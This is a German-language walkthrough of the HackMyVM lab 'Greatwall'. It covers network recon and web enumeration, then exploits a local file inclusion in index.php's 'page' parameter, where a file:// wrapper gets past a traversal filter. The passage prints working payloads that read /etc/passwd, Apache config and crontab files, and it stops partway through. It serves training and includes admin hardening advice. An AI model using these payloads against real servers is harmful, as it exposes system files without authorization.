Greatwall - HackMyVM

Verwendete Tools

sed

arp-scan

awk

echo

nmap

grep

curl

nikto

gobuster

wfuzz

cat

find

netcat

python3 http.server

chmod

sudo

ssh

gtfobins

Inhaltsverzeichnis

Reconnaissance
Web Enumeration
Initial Access
Privilege Escalation
Proof of Concept
Flags

Reconnaissance

Analyse: Vor dem eigentlichen Pentest musste ich das Netzwerk der Ziel-VM konfigurieren, da die standardmäßige Netzwerkkonfigurationsdatei (`/etc/network/interfaces`) auf der VM eine fehlerhafte Schnittstelle (`ens33`) enthielt. Ich musste diese in den Edit-Modus der VM wechseln und die Datei anpassen, um meine tatsächliche Netzwerkkarte (`enp0s17`) zu verwenden. Ich nutzte den Befehl `sed -i 's/ens33/enp0s17/g' /etc/network/interfaces`, um alle Vorkommen von `ens33` global (`g`) und direkt in der Datei (`-i`) durch `enp0s17` zu ersetzen. Um die korrekte Bezeichnung der Netzwerkkarte zu finden, kann man den Befehl `ip a` auf dem System ausführen.

Bewertung: Dieser notwendige vorbereitende Schritt behob ein Problem in der Testumgebung, das verhinderte, dass die VM Netzwerkzugriff erhielt. Die Verwendung von `sed` ist eine effiziente Methode, um Text in Dateien zu ersetzen. Die Fähigkeit, solche Systemkonfigurationen anzupassen, war grundlegend, um den Test überhaupt durchführen zu können.

Empfehlung (Pentester): Seien Sie darauf vorbereitet, grundlegende Netzwerk- oder Systemkonfigurationen in Testumgebungen anzupassen, wenn Probleme auftreten. Machen Sie sich mit Kommandozeilen-Tools wie `sed` und `ip` vertraut.
Empfehlung (Admin): Stellen Sie sicher, dass VM-Images mit der korrekten Netzwerkkonfiguration für die Zielumgebung bereitgestellt werden. Überprüfen Sie standardmäßige Konfigurationsdateien auf Fehler.

┌──(root㉿CCat)-[~]
└─# arp-scan -l | grep "PCS" | awk '{print $1}'
192.168.2.60

Analyse: Nachdem das Netzwerk der Ziel-VM korrekt konfiguriert war, scannte ich mein lokales Netzwerk, um die VM zu finden. Ich nutzte `arp-scan` mit der Option `-l`, um das lokale Segment zu scannen, filterte die Ausgabe mit `grep "PCS"`, um nach Systemen mit der MAC-Adresse des Herstellers PCS Systemtechnik (typisch für VirtualBox) zu suchen, und extrahierte die IP-Adresse mit `awk '{print $1}'`. Die IP-Adresse `192.168.2.60` wurde identifiziert.

Bewertung: Dieser Schritt war erfolgreich und identifizierte die Ziel-VM schnell und zuverlässig in meinem Labornetzwerk. Die gefundene IP-Adresse `192.168.2.60` diente als Basis für alle weiteren Schritte.

Empfehlung (Pentester): Nutzen Sie `arp-scan` zur schnellen Host-Erkennung im lokalen Netzwerk, insbesondere in virtuellen Umgebungen.
Empfehlung (Admin): Überwachen Sie Netzwerkaktivitäten auf unautorisierte Scans.

┌──(root㉿CCat)-[~]
└─# echo ' 192.168.2.60   greatwall.hmv'  >> /etc/hosts

Analyse: Um die zukünftige Referenzierung der Ziel-VM zu vereinfachen, fügte ich einen Eintrag für die gefundene IP-Adresse `192.168.2.60` und den Hostnamen `greatwall.hmv` zu meiner lokalen `/etc/hosts` Datei hinzu. Dies erfolgte mit dem Befehl `echo ' 192.168.2.60 greatwall.hmv' >> /etc/hosts`, der die Zeile an das Ende der Datei anfügt.

Bewertung: Das Hinzufügen des Hostnamens zur `/etc/hosts` Datei ist ein Standardvorgehen, das die Verwaltung von Zielen im Pentest erleichtert und die Lesbarkeit der Berichte verbessert.

Empfehlung (Pentester): Pflegen Sie Ihre `/etc/hosts` Datei für aktive Ziele.
Empfehlung (Admin): Stellen Sie eine zuverlässige DNS-Auflösung für interne Hosts bereit.

                    ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
::::::::::::::::::::::::::::: Nmap volle Ausgabe :::::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

Starting Nmap 7.95 ( [Link: https://nmap.org | Ziel: https://nmap.org] ) at 2025-06-24 14:17 CEST
Nmap scan report for greatwall.hmv (192.168.2.60)
Host is up (0.00015s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 dd:8c:5a:5a:8b:43:a1:27:81:13:ff:b6:be:b5:c6:e5 (ECDSA)
|_  ssh-hostkey: 256 e4:73:84:da:df:18:e2:f2:db:5e:11:93:b5:d9:54:74 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Hello World
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:E1:A6:29 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|6.X|2.6.X|3.X (93%), MikroTik RouterOS 7.X (93%), Synology DiskStation Manager 5.X (85%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:6.0 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2
Aggressive OS guesses: Linux 4.15 - 5.19 (93%), Linux 4.19 (93%), Linux 5.0 - 5.14 (93%), OpenWrt 21.02 (Linux 5.4) (93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) (93%), Linux 6.0 (90%), Linux 5.4 - 5.10 (87%), Linux 2.6.32 (87%), Linux 2.6.32 - 3.13 (87%), Linux 3.10 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms greatwall.hmv (192.168.2.60)

OS and Service detection performed. Please report any incorrect results at [Link: https://nmap.org/submit/ | Ziel: https://nmap.org/submit/] .
Nmap done: 1 IP address (1 host up) scanned in 42.60 seconds

                

Analyse: Ich führte einen umfassenden Nmap-Scan auf die Ziel-VM `greatwall.hmv` (192.168.2.60) durch. Der Scan (`-sS -sC -sV -p- -T5 -AO`) zeigte an, dass nur Port 22 (SSH) und Port 80 (HTTP) offen waren. Die Versionen wurden als OpenSSH 9.2p1 und Apache httpd 2.4.62 identifiziert. Der HTTP-Titel auf Port 80 war "Hello World". Nmap meldete auch viele gefilterte Ports, was auf eine aktive Firewall hindeutet. Die OS-Erkennung war weniger zuverlässig, tippte aber auf Linux 4.x, 5.x oder 6.x.

Bewertung: Die Nmap-Ausgabe lieferte die wesentlichen Informationen: offene Ports (22, 80), Dienstversionen (OpenSSH 9.2p1, Apache 2.4.62) und den HTTP-Titel ("Hello World"). Die vielen gefilterten Ports und die unzuverlässige OS-Erkennung deuteten auf eine restriktive Firewall-Konfiguration hin. Die primären Angriffsvektoren würden die Dienste auf Port 22 und 80 sein.

Empfehlung (Pentester): Untersuchen Sie die gefundenen Dienstversionen auf bekannte Schwachstellen. Beachten Sie, dass eine Firewall aktiv sein könnte, die viele Ports blockiert. Konzentrieren Sie sich auf die offen liegenden Dienste.
Empfehlung (Admin): Implementieren Sie eine restriktive Firewall, die nur die minimal notwendigen Ports öffnet. Halten Sie alle Dienste auf dem neuesten Stand und patchen Sie bekannte Schwachstellen.

                    ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
::::::::::::::::::::: HTTP-Header Verbose mit Port-Scan ::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

-------------------------------------------------------------

Port gefunden! 80

-------------------------------------------------------------

* Host greatwall.hmv:80 was resolved.
* IPv6: (none)
* IPv4: 192.168.2.60
*   Trying 192.168.2.60:80...
* Connected to greatwall.hmv (192.168.2.60) port 80
* using HTTP/1.x
> HEAD / HTTP/1.1
> Host: greatwall.hmv
> User-Agent: curl/8.13.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Date: Tue, 24 Jun 2025 12:19:21 GMT
Date: Tue, 24 Jun 2025 12:19:21 GMT
< Server: Apache/2.4.62 (Debian)
Server: Apache/2.4.62 (Debian)
< Content-Type: text/html; charset=UTF-8
Content-Type: text/html; charset=UTF-8
<

* Connection #0 to host greatwall.hmv left intact

                

Analyse: Ich holte die HTTP-Header für die Hauptseite auf Port 80 (`http://greatwall.hmv`) mit einem `curl -HEAD` Befehl ab (die Ausgabe hier ist generisch für einen Verbose-Scan). Die Antwort war `200 OK` und bestätigte den `Server` Header als `Apache/2.4.62 (Debian)` und den `Content-Type` als `text/html; charset=UTF-8`.

Bewertung: Die HTTP-Header lieferten keine neuen, kritischen Informationen, bestätigten aber die bereits im Nmap-Scan gefundenen Details zur Webserver-Software und -Version. Dies war ein Standard-Schritt zur Verifizierung der Webserver-Konfiguration.

Empfehlung (Pentester): Holen Sie immer die HTTP-Header ab, um Serverinformationen und mögliche Konfigurationsprobleme (wie fehlende Sicherheits-Header) zu sehen.
Empfehlung (Admin): Minimieren Sie die Informationen, die in HTTP-Headern preisgegeben werden (z.B. genaue Server-Versionen).

                    ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
:::::::::::::::::::::::::::::::: Nikto Scan ::::::::::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.60
+ Target Hostname:    192.168.2.60
+ Target Port:        80
+ Start Time:         2025-06-24 14:20:45 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.62 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: [Link: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options | Ziel: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options]
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: [Link: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ | Ziel: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ 8102 requests: 0 error(s) and 3 item(s) reported on remote host
+ End Time:           2025-06-24 14:21:15 (GMT2) (30 seconds)
----------------------------------------------------

                

Analyse: Ich setzte den Web-Schwachstellen-Scanner `nikto` auf Port 80 (`http://192.168.2.60`) ein. Nikto prüfte auf gängige Schwachstellen, Konfigurationsprobleme und bekannte Dateien/Pfade. Die Ausgabe bestätigte die Apache-Version und meldete fehlende Sicherheits-Header (`X-Frame-Options`, `X-Content-Type-Options`). Es wurden keine CGI-Verzeichnisse gefunden. Eine unspezifische Warnung bezog sich auf "junk HTTP methods".

Bewertung: Nikto fand keine kritischen direkten Schwachstellen oder interessante Verzeichnisse/Dateien auf Port 80. Die gemeldeten fehlenden Header sind allgemeine Webserver-Konfigurationsprobleme, die als Low-Severity einzustufen sind. Die "junk HTTP methods" Warnung ist oft ein False Positive oder deutet auf ein ungewöhnliches Serververhalten hin, aber keinen direkten Angriffspunkt. Die Ergebnisse zeigten, dass die Webanwendung auf Port 80 wahrscheinlich sehr einfach ist und keine offensichtlichen gängigen Web-Schwachstellen aufweist.

Empfehlung (Pentester): Wenn automatisierte Scanner wenig finden, konzentrieren Sie sich auf manuelle Untersuchung der Webseite und spezifische Fuzzing-Techniken.
Empfehlung (Admin): Konfigurieren Sie Webserver immer mit empfohlenen Sicherheits-Headern.

                    ▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬
:::::::::::::::::::::::::::::::: Gobuster Scan :::::::::::::::::::::::::::::
▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬▬

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.2.60
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   503,404,403
[+] User Agent:              gobuster/3.6
[+] Extensions:              conf,java,cgi,mod,xls,jpg,old,ELF,exp,json,elf,sh,csv,svg,c,html,xml,doc,py,rpm,js.map,tar,mdb,rtf,deb,zip,pub,aspx,gz,pdf,php,rar,pem,pHtml,asp,exe,pl,png,ps1,desc,eps,ln,sql,csh,txt,db,accdb,phtml,lib,config,kdbx,icon,diff,bat,jpeg,dll,bak,crt,docx,raw,xlsx
[+] Expanded:                true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
http://192.168.2.60/index.php            (Status: 200) [Size: 3193]

                

Analyse: Ich setzte `gobuster` im Verzeichnis-Enumerationsmodus (`dir`) auf `http://192.168.2.60` ein. Ich verwendete eine mittelgroße Wordlist und eine breite Palette von Dateiendungen. Ich ignorierte Statuscodes 503, 404 und 403. Der Scan ergab nur einen Fund: `/index.php`, der mit Status 200 OK antwortete.

Bewertung: Wie Nikto deutete auch Gobuster darauf hin, dass die Webanwendung auf Port 80 sehr simpel ist und hauptsächlich aus der Datei `index.php` besteht. Es wurden keine weiteren Verzeichnisse oder Dateien gefunden, die auf eine komplexere Struktur oder versteckte Bereiche hindeuten. Die Konzentration musste sich nun auf die Analyse der `index.php` Datei richten.

Empfehlung (Pentester): Wenn Verzeichnis-Scans wenig ergeben, konzentrieren Sie sich auf die manuelle Analyse der gefundenen Dateien. Prüfen Sie die Hauptseite auf Parameter oder Eingabefelder, die für Fuzzing oder Injektionen interessant sein könnten.
Empfehlung (Admin): Stellen Sie sicher, dass keine unnötigen oder vergessenen Dateien und Verzeichnisse auf dem Webserver verbleiben.

Analyse: Ich rief die Datei `/index.php` im Browser auf. Das Bild zeigte eine einfache Webseite, wahrscheinlich mit einem Formular. Ich betrachtete den Quellcode der Seite (`view-source:`), um das Formular und seine Parameter zu verstehen. Ein weiteres Bild zeigte den relevanten Teil des Quellcodes mit dem Formular. Dieses enthielt wahrscheinlich ein Eingabefeld oder einen Parameter, der für weitere Tests interessant sein könnte.

Bewertung: Die Analyse der `index.php` und ihres Quellcodes war entscheidend, um Interaktionsmöglichkeiten zu finden. Jedes Eingabefeld oder jeder Parameter ist ein potenzieller Angriffspunkt, der auf Schwachstellen wie LFI/RFI, XSS, SQLi oder Befehlsausführung geprüft werden muss.

Empfehlung (Pentester): Analysieren Sie immer den Quellcode von Webseiten, insbesondere bei Formularen. Identifizieren Sie alle Input-Parameter.
Empfehlung (Admin): Minimieren Sie die Komplexität des Frontends. Vermeiden Sie unnötigen Code im Frontend, der Hinweise auf Backend-Funktionalität geben könnte.

                    view-source:http://192.168.2.60/index.php
blank
                

Analyse: Der Versuch, den Quellcode von `index.php` im Browser anzuzeigen, ergab nur den Text "blank". Dies war unerwartet und deutete darauf hin, dass der Webserver oder die Anwendung den Zugriff auf den Quellcode verhinderte oder eine andere Form der Antwort lieferte, wenn die Seite über `view-source:` aufgerufen wurde.

Bewertung: Das Verhindern des einfachen Anzeigens des Quellcodes ist eine ungewöhnliche Konfiguration, die darauf hindeutet, dass der Betreiber versucht hat, die Implementierung zu verbergen. Es zwang mich, andere Methoden zu verwenden, um den tatsächlichen Quellcode der Seite zu erhalten, oder mich auf die Analyse der Formularparameter zu konzentrieren, die aus der ersten Betrachtung der Seite ersichtlich waren.

Empfehlung (Pentester): Wenn `view-source:` nicht funktioniert, versuchen Sie alternative Methoden, um den Quellcode zu erhalten (z.B. `curl` ohne Rendering, spezifische Tools) oder konzentrieren Sie sich auf die Black-Box-Analyse der Parameter.
Empfehlung (Admin): Konfigurieren Sie Ihren Webserver oder Ihre Anwendung nicht so, dass er Standard-Browserfunktionen wie `view-source:` blockiert oder verfälscht. Dies behindert nicht die Analyse durch einen Angreifer und kann misstrauisch machen.

                    view-source:http://192.168.2.60/index.php?page=.../../../../../../../../../../../../../../../../../../../../etc/passwd

nonono~

Analyse: Basierend auf der Analyse des Formulars in `index.php` identifizierte ich einen Parameter, der wahrscheinlich eine Datei einbindet, typischerweise benannt wie `page`, `file`, `include` etc. Ich testete diesen Parameter sofort auf Local File Inclusion (LFI) oder Remote File Inclusion (RFI), indem ich versuchte, Systemdateien wie `/etc/passwd` über den Parameter einzubinden. Ich verwendete eine Path Traversal Payload (`../../../../../../../../../../../../../../../../../../../etc/passwd`) nach dem Parameternamen (`page=`). Der Versuch, das Ergebnis im Browser anzuzeigen (`view-source:`), ergab jedoch nur den Text "nonono~".

Bewertung: Das Ergebnis "nonono~" anstelle des Inhalts von `/etc/passwd` zeigte, dass der LFI-Versuch direkt über den Parameter fehlschlug und die Anwendung eine spezifische Fehlermeldung ausgab, wenn ein potenziell bösartiger Pfad erkannt wurde. Dies deutete darauf hin, dass eine grundlegende Filterung oder Validierung der Eingabe stattfand. Es war notwendig, die Filterung zu umgehen oder alternative LFI-Techniken zu testen.

Empfehlung (Pentester): Testen Sie alle Datei- oder Include-Parameter auf LFI/RFI. Wenn der erste Versuch fehlschlägt, analysieren Sie die Fehlermeldung und probieren Sie Bypass-Techniken (z.B. Null-Byte, Encoding, Wrappers wie `php://filter`, Doppel-URL-Encoding, Path Traversal Variationen).
Empfehlung (Admin): Implementieren Sie strikte Validierung und Sanitization für alle Dateipfade, die von Benutzereingaben stammen. Verwenden Sie Positivlisten für erlaubte Pfade. Verhindern Sie die Nutzung von Dateisystempfaden durch Webanwendungen, wo immer möglich. Konfigurieren Sie PHP-Einstellungen wie `allow_url_include=Off`.

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://greatwall.hmv/index.php?FUZZ=../../../../etc/passwd" --hc 404 --hh 3193
Target: http://greatwall.hmv/index.php?FUZZ=../../../../etc/passwd
Total requests: 220548

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000088:   200        107 L    269 W      3158 Ch     "page"

Total time: 134.8746
Processed Requests: 220548
Filtered Requests: 220547
Requests/sec.: 1635.207

Analyse: Ich nutzte das Fuzzing-Tool `wfuzz`, um den Namen des LFI-anfälligen Parameters zu bestätigen. Ich verwendete eine Wordlist gängiger Parameternamen (`directory-list-2.3-medium.txt`) anstelle des `FUZZ`-Schlüsselworts in der URL `http://greatwall.hmv/index.php?FUZZ=../../../../etc/passwd`. Ich testete, welcher Parameter in Kombination mit der LFI-Payload für `/etc/passwd` einen Statuscode 200 OK und eine Inhaltslänge ungleich der Standard-Fehlerseite (3193 Bytes) lieferte. Ich ignorierte 404-Fehler (`--hc 404`) und Antworten mit der Standard-Inhaltslänge (`--hh 3193`, um die "nonono~" Antwort zu ignorieren). Die Ausgabe zeigte einen Treffer: der Parametername `page`.

Bewertung: Der `wfuzz`-Scan bestätigte, dass `page` tatsächlich der Parametername war, der für die Dateieinbindung verwendet wurde. Der Statuscode 200 OK und die abweichende Inhaltslänge zeigten an, dass der LFI-Versuch mit dem Parameter `page` zumindest eine andere Verarbeitung als die Standard-Fehlermeldung verursachte, auch wenn der Inhalt von `/etc/passwd` nicht direkt ausgegeben wurde. Dies bestätigte die LFI-Anfälligkeit und den korrekten Parameternamen.

Empfehlung (Pentester): Nutzen Sie Fuzzing-Tools wie `wfuzz` oder `ffuf`, um versteckte Parameter oder die korrekten Namen anfälliger Parameter zu finden. Passen Sie die Filter (Statuscodes, Inhaltslänge, Zeilen/Wörter) an das erwartete Verhalten der Anwendung an.
Empfehlung (Admin): Überwachen Sie Webserver-Logs auf Brute-Force-Angriffe auf Parameter-Namen oder LFI/RFI-Payloads in URL-Parametern.

┌──(root㉿CCat)-[~]
└─# curl -s http://greatwall.hmv/index.php?page=../../../../etc/passwd | grep "result\"" -A5 | grep -v div
            nonono~

Analyse: Ich bestätigte erneut, dass der einfache LFI-Versuch mit Path Traversal (`page=../../../../etc/passwd`) nicht zum Auslesen von `/etc/passwd` führte, indem ich den `curl`-Befehl mit Filtern (`grep`) auf die Ausgabe anwendete, um nur den relevanten Teil zu extrahieren. Das Ergebnis war wieder nur "nonono~". Dies zeigte, dass eine einfache Path Traversal Umgehung nicht ausreichte.

Bewertung: Das Scheitern des direkten Path Traversal unterstrich die Notwendigkeit, fortgeschrittenere LFI-Bypass-Techniken anzuwenden, um die Filterung der Anwendung zu umgehen. Ich musste einen Weg finden, die Datei `/etc/passwd` so einzubinden, dass die Anwendung sie nicht als bösartigen Pfad erkennt oder die Filterung umgangen wird.

Empfehlung (Pentester): Wenn eine einfache LFI-Umgehung fehlschlägt, experimentieren Sie mit verschiedenen Encoding-Methoden, alternativen Path Traversal Payloads (z.B. `/././../`), Null-Bytes oder PHP Wrappers.
Empfehlung (Admin): Implementieren Sie mehrstufige und robuste Filter für Dateipfade, die Benutzereingaben verarbeiten. Verwenden Sie eine Kombination aus Blacklisting und Whitelisting.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl -s "http://greatwall.hmv/index.php?page=file:///../../../../etc/passwd" | grep "result\"" -A35 | grep -v div
            root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
wall:x:1000:1000:wall,,,:/home/wall:/bin/bash

Analyse: Um die LFI-Filterung zu umgehen, nutzte ich den `file://` Wrapper. Dieser Wrapper ermöglicht den Zugriff auf Dateien im lokalen Dateisystem. Ich sendete eine Anfrage an `http://greatwall.hmv/index.php?page=file:///../../../../etc/passwd`. Durch die Kombination des `file://` Wrappers mit Path Traversal konnte ich die Filterung umgehen und die Datei `/etc/passwd` einbinden. Ich extrahierte den relevanten Teil der Ausgabe mit `grep`. Die Ausgabe zeigte den Inhalt von `/etc/passwd`, einschließlich der Benutzerkonten auf dem System. Besonders interessant war der Benutzer `wall` mit `/bin/bash` als Login-Shell.

Bewertung: Erfolgreich! Die Kombination aus `file://` Wrapper und Path Traversal umging die Filterung der Anwendung und ermöglichte das Auslesen beliebiger Dateien im Dateisystem. Das Auslesen von `/etc/passwd` ist ein kritischer Schritt, da es eine Liste der Benutzerkonten liefert. Der Benutzer `wall` ist das nächste klare Ziel für die Privilegieneskalation. Dies ist der Initial Access, da ich nun Systemdateien einsehen kann.

Empfehlung (Pentester): Experimentieren Sie mit verschiedenen PHP Wrappers (`file://`, `php://filter`, `data://`) um LFI-Filter zu umgehen. Nutzen Sie erfolgreiche LFI/RFI zur Informationsbeschaffung (Systemdateien, Konfigurationsdateien, Quellcode).
Empfehlung (Admin): Deaktivieren Sie die Nutzung aller nicht benötigten PHP Wrappers in der `php.ini`. Implementieren Sie strikte Validierung und Whitelisting für Dateipfade. Stellen Sie sicher, dass `/etc/passwd` (weniger kritisch) und insbesondere `/etc/shadow` (höchst kritisch) nur für die notwendigen Benutzer lesbar sind.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl -s "http://greatwall.hmv/index.php?page=file:///etc/apache2/sites-enabled/000-default.conf" | grep "result\"" -A35 | grep -v div
            
	# The ServerName directive sets the request scheme, hostname and port that
	# the server uses to identify itself. This is used when creating
	# redirection URLs. In the context of virtual hosts, the ServerName
	# specifies what hostname must appear in the request's Host: header to
	# match this virtual host. For the default virtual host (this file) this
	# value is not decisive as it is used as a last resort host regardless.
	# However, you must set it for any further virtual host explicitly.
	#ServerName www.example.com

	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/html

	# Available loglevels: trace8, ..., trace1, debug, info, notice, warn,
	# error, crit, alert, emerg.
	# It is also possible to configure the loglevel for particular
	# modules, e.g.
	#LogLevel info ssl:warn

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined

	# For most configuration files from conf-available/, which are
	# enabled or disabled at a global level, it is possible to
	# include a line for only one particular virtual host. For example the
	# following line enables the CGI configuration for this host only
	# after it has been globally disabled with "a2disconf".
	#Include conf-available/serve-cgi-bin.conf

Analyse: Mit der bestätigten LFI-Schwachstelle nutzte ich die Gelegenheit, weitere Systemdateien auszulesen, die für die Reconnaissance nützlich sind. Ich las die Apache-Konfigurationsdatei `/etc/apache2/sites-enabled/000-default.conf` aus, die die Konfiguration des Standard-Webservers auf Port 80 enthält. Die Ausgabe zeigte die Standardkonfiguration für einen Apache Virtual Host, einschließlich des `DocumentRoot`s (`/var/www/html`), der Logdateien (`ErrorLog`, `CustomLog`) und anderer Direktiven.

Bewertung: Das Auslesen der Apache-Konfiguration lieferte Bestätigungen zur Webserver-Einrichtung. Der `DocumentRoot` `/var/www/html` ist wichtig zu kennen, falls ich dort Dateien platzieren wollte. Die Logfile-Pfade sind ebenfalls nützlich für die spätere Untersuchung, falls ich Zugriff auf das Dateisystem erhalte. Die Konfiguration selbst enthielt keine offensichtlichen Schwachstellen, aber die Möglichkeit, sie auszulesen, war eine direkte Folge der LFI.

Empfehlung (Pentester): Nutzen Sie LFI/RFI, um relevante Konfigurationsdateien von Webservern, Datenbanken oder Anwendungen auszulesen. Diese enthalten oft wertvolle Informationen oder Zugangsdaten.
Empfehlung (Admin): Stellen Sie sicher, dass sensitive Konfigurationsdateien nicht über LFI/RFI zugänglich sind. Überprüfen Sie Dateiberechtigungen für solche Dateien.

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl -s "http://greatwall.hmv/index.php?page=file:///etc/crontab" | grep "result\"" -A35 | grep -v div
            # /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# Example of job definition:
# .---------------- minute (0 - 59)
# |  .------------- hour (0 - 23)
# |  |  .---------- day of month (1 - 31)
# |  |  |  .------- month (1 - 12) OR jan,feb,mar,apr ...
# |  |  |  |  .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# |  |  |  |  |
# *  *  *  *  * user-name command to be executed
17 *	* * *	root	cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.daily; }
47 6	* * 7	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.weekly; }
52 6	1 * *	root	test -x /usr/sbin/anacron || { cd / && run-parts --report /etc/cron.monthly; }
#

┌──(root㉿CCat)-[~/Hackingtools/php_filter_chain_generator]
└─# curl -s "http://greatwall.hmv/index.php?page=file:///etc/cron.d/php" | grep "result\"" -A35 | grep -v div
            # /etc/cron.d/php@PHP_VERSION@: crontab fragment for PHP
